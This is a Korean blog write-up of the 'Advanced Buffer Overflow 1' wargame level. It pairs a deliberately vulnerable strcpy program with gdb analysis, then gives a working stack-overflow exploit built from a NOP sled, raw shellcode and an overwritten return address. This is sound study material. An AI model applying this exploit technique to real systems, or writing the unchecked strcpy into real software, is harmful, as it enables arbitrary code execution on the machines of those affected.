기본 콘텐츠로 건너뛰기

Insecure-programming-abo1

Insecure-programming-abo1

Insecure Programming by example

Advanced Buffer Overflow 1

int main(int argv,char **argc) {
	char buf[256];

	strcpy(buf,argc[1]);
}

Advanced Buffer Overflow 첫 번째 문제는 사용자 인자 값 검증 없이 버퍼에 strcpy() 함수로 복사하여 발생되는 오버플로우 예이다. 먼저 objdump를 이용하여 어셈블리어를 살펴보자.

# objdump -d -M intel ./abo1 | grep -A 16 "<main>" 
08048374 <main>:
 8048374:       55                      push   ebp
 8048375:       89 e5                   mov    ebp,esp
 8048377:       81 ec 18 01 00 00       sub    esp,0x118
 804837d:       83 e4 f0                and    esp,0xfffffff0
 8048380:       b8 00 00 00 00          mov    eax,0x0
 8048385:       29 c4                   sub    esp,eax
 8048387:       8b 45 0c                mov    eax,DWORD PTR [ebp+12]
 804838a:       83 c0 04                add    eax,0x4
 804838d:       8b 00                   mov    eax,DWORD PTR [eax]
 804838f:       89 44 24 04             mov    DWORD PTR [esp+4],eax
 8048393:       8d 85 f8 fe ff ff       lea    eax,[ebp-0x108]
 8048399:       89 04 24                mov    DWORD PTR [esp],eax
 804839c:       e8 ff fe ff ff          call   80482a0 <strcpy@plt>
 80483a1:       c9                      leave  
 80483a2:       c3                      ret    
 80483a3:       90                      nop

strcpy()함수의 인자 값으로 ebp-0x108을 전달하는 것으로 보아 이 위치가 사용자 인자 값이 복사될 buf[256] 배열의 위치라는 것을 알 수 있다. 이제 파이썬으로 eip를 0x62로 덮어쓰는 코드를 작성하여 gdb로 확인해보자.

# python -c "print 'a'*268+'b'*4" > arg
# gdb abo1
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) b *main
Breakpoint 1 at 0x8048374
(gdb) r $(cat arg)
Starting program: /home/iamroot/workspace/abo/1/abo1 $(cat arg)

Breakpoint 1, 0x08048374 in main ()
(gdb) disas
Dump of assembler code for function main:
0x08048374 <main+0>:    push   %ebp
0x08048375 <main+1>:    mov    %esp,%ebp
0x08048377 <main+3>:    sub    $0x118,%esp
0x0804837d <main+9>:    and    $0xfffffff0,%esp
0x08048380 <main+12>:   mov    $0x0,%eax
0x08048385 <main+17>:   sub    %eax,%esp
0x08048387 <main+19>:   mov    0xc(%ebp),%eax
0x0804838a <main+22>:   add    $0x4,%eax
0x0804838d <main+25>:   mov    (%eax),%eax
0x0804838f <main+27>:   mov    %eax,0x4(%esp)
0x08048393 <main+31>:   lea    0xfffffef8(%ebp),%eax
0x08048399 <main+37>:   mov    %eax,(%esp)
0x0804839c <main+40>:   call   0x80482a0 <strcpy@plt>
0x080483a1 <main+45>:   leave  
0x080483a2 <main+46>:   ret    
End of assembler dump.
(gdb) b *main+45
Breakpoint 2 at 0x80483a1
(gdb) c
Continuing.

Breakpoint 2, 0x080483a1 in main ()

(gdb) x/32x $ebp -16
0xbffff6c8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff6d8:     0x61616161      0x62626262      0x00000000      0xbffff764
0xbffff6e8:     0xbffff770      0xb8001898      0x00000000      0x00000001
0xbffff6f8:     0x00000001      0x00000000      0xb7fd5ff4      0xb8000ce0
0xbffff708:     0x00000000      0xbffff738      0x40f5f6e0      0x48e0ee81
0xbffff718:     0x00000000      0x00000000      0x00000000      0xb7ff9300
0xbffff728:     0xb7eaeded      0xb8000ff4      0x00000002      0x080482b0
0xbffff738:     0x00000000      0x080482d1      0x08048374      0x00000002
(gdb) info f
Stack level 0, frame at 0xbffff6e0:
 eip = 0x80483a1 in main; saved eip 0x62626262
 Arglist at 0xbffff6d8, args: 
 Locals at 0xbffff6d8, Previous frame's sp is 0xbffff6e0
 Saved registers:
  ebp at 0xbffff6d8, eip at 0xbffff6dc

이제 stack5에서 만들었던 머신 코드를 이용하여 “you win!” 구문을 출력해보자.

# export test=`python -c "print '\x90'*300+'\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x09\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21'"`
# ./get test
The address of test is 0xbffffd6e
# ./abo1 "$(python -c "print 'A'*268+'\x6e\xfd\xff\xbf'")"
you win!

전체 목록 보기 : Insecure programming
진행 환경 : # cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`

이 블로그의 인기 게시물

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx

X-Frame-Options-Test

X-Frame-Options 테스트하기 X-Frame-Options 페이지 구성 시 삽입된 프레임의 출처를 검증하여 허용하지 않는 페이지 URL일 경우 해당 프레임을 포함하지 않는 확장 응답 헤더이다. 보안 목적으로 사용되는 확장 헤더로 아직 적용되지 않은 사이트들이 많지만 앞으로 점차 적용될 것으로 보인다. X-Frame OptionsDENY, SAMEORIGIN, ALLOW-FROM 옵션을 이용하여 세부 정책을 설정한다. 옵션 설명 DENY Frame 비허용 SAMEORIGIN 동일한 ORIGIN에 해당하는 Frame만 허용 ALLOW-FROM 지정된 ORIGIN에 해당하는 Frame만 허용 크롬 4.1 , IE 8 , 오페라 10.5 , 사파리 4.0 , 파이어폭스 3.6.9 이상에서는 DENY , SAMEORIGIN 이 적용되며, ALLOW-FROM 은 각 브라우저 마다 지원 현황이 다르다. https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Frame-Options 해당 확장헤더는 브라우저에서 처리하는 응답 헤더이므로 미지원 브라우저 사용 시 설정과 무관하게 페이지 내 포함된 모든 Frame을 출력한다. (검증 테스트: Opera 5.0.0) 테스트 코드 DENY <!DOCTYPE html> < html lang = "en" > < head > < meta http-equiv = "X-Frame-Options" content = "deny" /> < title > Deny option Test </ title > </ head > < bod

데일 카네기 인간관계론 정리